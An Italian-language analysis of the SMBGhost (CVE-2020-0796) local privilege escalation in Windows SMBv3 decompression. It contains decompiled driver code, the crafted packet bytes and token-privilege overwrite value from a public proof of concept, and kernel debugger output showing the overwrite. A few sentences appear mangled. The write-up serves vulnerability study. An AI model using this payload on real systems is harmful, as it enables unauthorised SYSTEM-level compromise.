
Analisi tecnica e proof-of-concept per CVE-2020-0796 (SMBGhost), una vulnerabilità di integer overflow nella compressione SMBv3 che porta a escalation dei privilegi locali su Windows 10/Server.
La funzionalità di compressione aggiunta a SMBv3 a partire dalla versione del sistema operativo Windows 10/Server versione 1903 contiene una vulnerabilità di integer overflow confermata da Microsoft il 12/03/2020. Consente a un attaccante di effettuare Local Privilege Escalation (LPE) e Remote Code Execution (RCE). Qui si parlerà solo della vulnerabilità LPE.
Versioni affette:
Analizzando il file srv2.sys, si nota che le funzioni relative alla Decompressione vengono chiamate come segue:``` js
Srv2ReceiveHandler
|
|
v
Srv2DecompressMessageAsync
|
|
v
Srv2DecompressData -------> SrvNetAllocateBuffer
|
|
v
SmbCompressionDecompress
|
|
v
memcpy
Prima di tutto, la funzione `Srv2ReceiveHandler` viene chiamata per ricevere un pacchetto dati SMB e richiama una funzione corrispondente al `ProtocolId`. Se `PrococolId` = 0x424D53FC, chiama la funzione `Srv2DecompressMessageAsync`, la quale procede a chiamare `Srv2DecompressData` per decomprimere il pacchetto dati. La funzione `Srv2DecompressData` chiama `SrvNetAllocateBuffer` per allocare un `Alloc` usato per memorizzare i dati dopo la decompressione, quindi chiama `SmbCompressionDecompress` per decomprimere il pacchetto dati e infine chiama `memcpy`. L'intero processo di decompressione ha quindi i seguenti passaggi principali:
- 1. Allocazione
- 2. Decompressione
- 3. Copia
Secondo la documentazione fornita da Microsoft, la struttura `COMPRESSION_TRANSFORM_HEADER` viene utilizzata per inviare e ricevere dati compressi dal client e dal server. Ha la seguente struttura:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} ;
Qui ci concentriamo solo sui 2 campi principali sopra citati:
OriginalCompressedSegmentSize è la dimensione del segmento di dati non compressi, in byte.Offset è lo scostamento in byte tra il punto di inizio dei dati compressi e il punto finale della struttura _COMPRESSION_TRANSFORM_HEADER.Pertanto il pacchetto di dati compresso avrà la seguente forma:
``` c
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
Analisi della funzione `Srv2DecompressData`: si nota che la funzione riceve un pacchetto di dati compressi `COMPRESSION_TRANSFORM_HEADER` (Header), quindi alloca una zona di memoria (Alloc) tramite la funzione `SrvNetAllocateBuffer` con parametro la somma di `Header->OriginalCompressedSegmentSize` + `Header->Offset`, dopodiché decomprime i dati compressi e copia i dati non compressi in `Alloc->Buffer`.

L'errore di integer overflow si verifica quando `Srv2DecompressData` chiama la funzione `SrvNetAllocateBuffer`. La funzione `SrvNetAllocateBuffer` accetta effettivamente due valori a 64 bit, ma quando viene chiamata, `Srv2DecompressData` le passa solo due valori a 32 bit (ULONG). Mentre sia `OriginalCompressedSegmentSize` che `Offset` sono ULONG, sommandoli insieme possono produrre un numero maggiore di 32 bit. È così che si verifica l'errore di integer overflow (In parole semplici, sommando 0xffffffff (`OriginalCompressedSegmentSize`) con 0x10 (`Offset`) si ottiene 0xf0000000f ma la funzione `SrvNetAllocateBuffer` riceve solo il valore 0x0000000f).

L'errore di integer overflow porta a un'allocazione errata della zona di memoria Alloc (la dimensione allocata è minore di quella effettiva), potenzialmente causando un buffer overflow:

Per capire se il buffer overflow si verifica e come, analizzeremo le funzioni `SrvNetAllocateBuffer` e `SmbCompressionDecompress`.``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
v3 = 0;
v4 = a2;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
{
if ( allocSize > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
}
else
{
if ( allocSize > 0x1100 )
{
_RCX = allocSize - 256;
__asm
{
bsr rdx, rcx
bsf rax, rcx
}
if ( (_DWORD)_RDX == (_DWORD)_RAX )
v3 = _RDX - 12;
else
v3 = _RDX - 11;
}
v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = (unsigned int)v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v12 = *(_DWORD *)(v10 + 44);
v13 = *(_DWORD *)(v10 + 40);
v14 = *(_DWORD *)(v10 + 36);
LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
v11 = v15;
}
v5 = 2;
}
if ( v11 )
{
*(_WORD *)(v11 + 0x10) |= v5;
*(_WORD *)(v11 + 0x12) = v3;
*(_WORD *)(v11 + 0x14) = v2;
if ( v4 )
{
v24 = *(_DWORD *)(v4 + 0x24);
if ( v24 >= *(_DWORD *)(v11 + 0x20) )
v24 = *(_DWORD *)(v11 + 0x20);
v25 = *(void **)(v11 + 0x18);
*(_DWORD *)(v11 + 0x24) = v24;
memcpy(v25, *(const void **)(v4 + 0x18), v24);
v26 = *(_WORD *)(v4 + 0x16);
if ( v26 )
{
*(_WORD *)(v11 + 0x16) = v26;
memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
}
return v11;
}
Il codice sopra proviene dal Pseuducode di IDA Pro, sembra piuttosto difficile da capire. Tuttavia possiamo capirlo semplicemente guardando il codice riscritto da Zecops:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
La funzione `SrvNetAllocateBuffer` riceve la dimensione da allocare, quindi controlla se la dimensione è maggiore di 0x100100; se lo è, restituisce NULL. Questa funzione controlla anche la variabile `SrvDisableNetBufferLookAsideList`, tuttavia non ho trovato alcuna documentazione su questa variabile, ed è impostata a 0 per impostazione predefinita, quindi probabilmente non è molto importante.
Se la condizione è soddisfatta, la funzione procede a calcolare un valore di indice basato su `AllocSize` ricevuto, quindi recupera un valore dall'array `SrvNetBufferLookasides` (questo array ha 9 elementi) in base all'indice calcolato ed effettua l'allocazione. Dal codice assembly, Zecops ha usato `python` per calcolare le dimensioni corrispondenti a ciascun indice:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
Quindi, per una richiesta di allocazione di dimensione minore o uguale a 0x1100, la funzione alloca una regione di memoria di dimensione 0x1100; per una richiesta di allocazione di dimensione maggiore di 0x1100 e minore o uguale a 0x2100, la funzione alloca una regione di memoria di dimensione 0x2100; e così via per richieste di allocazione più grandi.
Dopo l'allocazione, la funzione restituisce un indirizzo che memorizza una struttura che Zcops ha chiamato ALLOCATION_HEADER. Secondo le nostre ricerche, questa struttura contiene i seguenti dati:

Una cosa interessante è che ALLOCATION_HEADER si trova immediatamente sotto ALLOCATION_HEADER->UserBuffer; se è possibile un buffer overflow di UserBuffer, possiamo scrivere valori arbitrari in ALLOCATION_HEADER.

Successivamente, vediamo cosa fa la funzione SmbCompressionDecompress:``` c
__int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize)
{
PVOID v6; // rdi@1
__int64 v7; // r14@1
__int64 v8; // r15@1
int v9; // ebx@2
int v10; // ecx@3
int v11; // ecx@4
signed __int16 v12; // bx@6
__int64 v13; // rsi@12
unsigned int v14; // ebp@12
int v16; // [sp+40h] [bp-28h]@1
SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1
v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }
Il codice sopra è preso dallo pseudocodice di IDA, se non capisci cosa fa il codice sopra, puoi guardare il codice riscritto da Zecops:``` c
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
Questa funzione esegue fondamentalmente la decompressione dei dati compressi e li salva in Alloc->UserBuffer + Offset. Se la decompressione ha successo, il parametro FinalCompressedSize viene impostato uguale al parametro CompressedBufferSize, che è il valore OriginalCompressedSegmentSize passato dalla funzione Srv2DecompressData.
Tornando alla funzione Srv2DecompressData, dopo aver eseguito la funzione SmbCompressionDecompress, la funzione continua a confrontare se i valori FinalCompressedSize e OriginalCompressedSegmentSize sono uguali, e se Status restituito è < 0.``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
Come detto sopra, se la decompressione ha successo, allora `FinalCompressedSize` e `OriginalCompressedSegmentSize` saranno uguali e lo `Status` restituito sarà maggiore o uguale a 0. Quindi, se la decompressione ha successo, il codice nel blocco if sopra non verrà eseguito. Procederemo ad analizzare il prossimo blocco di codice:``` c
if (Header->Offset > 0) {
memcpy( // copy raw data into UserBuffer
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Questo codice controllerà Header->Offset > 0. Il valore Offset è lo scostamento tra l'area dati compressa e la fine di Header, corrispondente alla dimensione dell'area dati non compressa. Successivamente chiama la funzione memcpy per copiare l'area dati non compressa all'inizio di Alloc->UserBuffer.
Pertanto, se è possibile sfruttare un bug di buffer overflow, sovrascrivendo l'area Alloc Header per modificare il valore del puntatore Alloc->UserBuffer all'indirizzo A, l'indirizzo A conterrà i dati non decompressi inviati dal client. Per maggiore chiarezza, analizzeremo il POC di Daniel García Gutiérrez (@danigargu) e Manuel Blanco Parajón (@dialluvioso_), quindi eseguiremo il debug per comprendere meglio.
Il POC effettua le seguenti operazioni:
Recupera il proprio token.
Crea un array buffer di dimensione 0x1110, inserisce all'inizio dell'array 0x1108 caratteri 'A', quindi salva il valore [Token + 0x40] ottenuto in precedenza. Lo scopo di questo verrà spiegato in seguito.
Comprime i dati nell'array buffer e li salva nell'array compressed_buffer.
Crea un array buf contenente i dati come segue:``` c
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
Successivamente creare un array `packet` di dimensione: `sizeof(buf) + 0x10 + len`, dove `len` è la dimensione del `buffer` dopo la compressione sopra (la dimensione dei **dati** di `compressed_buffer`). - Copiare i dati dell'array `buf` in `packet`, quindi copiare il valore `0x1FF2FFFFBC` e poi i dati dell'array `compressed_buffer`:``` c
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
packet al server SMB.OpenProcess su winlogon.exe e inietta shellcode per aprire cmd.Di seguito spiegherò i problemi nel POC menzionati sopra.
Perché l'array buffer deve essere creato con una dimensione di 0x1110 byte, e contenere 0x1108 caratteri 'A' e un valore [token + 0x40]. In generale, lo scopo di questo POC è utilizzare le funzioni in SMB per modificare il valore di token->Privileges di se stesso ([Token + 0x40]).
Nell'intestazione SMB, ci interessano la dimensione decompressa originale e l'Offset, che hanno rispettivamente i valori 0xffffffff e 0x00000010. Lo scopo è far sì che SMB subisca un integer overflow, allocando così un array Alloc->Buffer di dimensione solo 0x1100 (< 0x1110 + dimensione dei dati grezzi).
Il valore 0x1FF2FFFFBC memorizzato nei 0x10 byte dopo l'intestazione è un valore salvato in token->Privileges->Present e token->Privileges->Enabled di un processo SYSTEM, corrisponde al fatto che se un processo ha token->Privileges->Present e token->Privileges->Enabled uguali a 0x1FF2FFFFBC, quel processo avrà privilegi come un processo SYSTEM.
Da queste informazioni, possiamo immaginare che il POC voglia che le funzioni in SMB modifichino il valore di token->Privileges->Present e token->Privileges->Enabled in 0x1FF2FFFFBC. Per sapere con precisione, entreremo nella sezione debug del kernel.
Per prima cosa, impostiamo un breakpoint all'inizio della funzione Srv2DecompressData```` 0: kd> bm srv2!Srv2DecompressData 1: fffff80717c47e60 @!"srv2!Srv2DecompressData"
0: kd> bl
1 e Disable Clear fffff807`17c47e60 0001 (0001) srv2!Srv2DecompressData
Successivamente esegui POC, verrà chiamata la funzione `Srv2DecompressData`, il kernel si fermerà all'inizio della funzione `srv2!Srv2DecompressData`.
Procedi a visualizzare i dati dell'Header:```
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10 424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20 f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30 403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40 00ffffae 00000000 00000000 00000000
Questi sono i dati dell'array packet che il POC ha inviato a SMB come analizzato nel POC sopra. I primi 0x10 byte sono la parte dell'intestazione SMB, i successivi 0x10 byte contengono due volte il valore 0x1FF2FFFFBC che è la regione dati grezzi, e i successivi 0x13 byte sono i dati del buffer già compressi. Quindi la dimensione totale dell'intestazione è di 0x33 byte.
Passando al momento in cui viene chiamata la funzione SrvNetAllocateBuffer per vedere i parametri passati, la funzione SrvNetAllocateBuffer riceve effettivamente i parametri 0xf e null.

Il valore di ritorno della funzione SrvNetAllocateBuffer è un puntatore che punta a una struttura ALLOCATION_HEADER (secondo la terminologia utilizzata in questo articolo).```
1: kd> dd rax
ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e
ffffd10e`94729170 00001100 00000000 00001278 75881029

Successivamente, viene chiamata la funzione `SmbCompressionDecompress`, che decomprime e scrive i dati decompressi in `Alloc->Buffer + Header -> Offset````
1: kd> dd ffffd10e94728050
ffffd10e`94728050 1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060 41414141 41414141 41414141 41414141
ffffd10e`94728070 41414141 41414141 41414141 41414141
...
ffffd10e`94729150 41414141 41414141 41414141 41414141
ffffd10e`94729160 41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170 00001100 00000000 00001278 75881029
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000

A questo punto Alloc->Buffer è stato sovrascritto con l'indirizzo [Token + 0x40]. La funzione Srv2DecompressData chiama memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); per copiare i dati grezzi in Alloc->UserBuffer. Tuttavia Alloc->UserBuffer è stato sovrascritto con Token->Privileges quindi i dati grezzi verranno scritti in Token->Privileges:```
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc
+0x010 EnabledByDefault : 0x40800000

A questo punto, il programma POC ha i privilegi SYSTEM, il passo successivo è aprire un programma SYSTEM (winlogon.exe) e iniettare uno shellcode per aprire cmd.
# Tham khảo
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)
[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)
[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)
<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>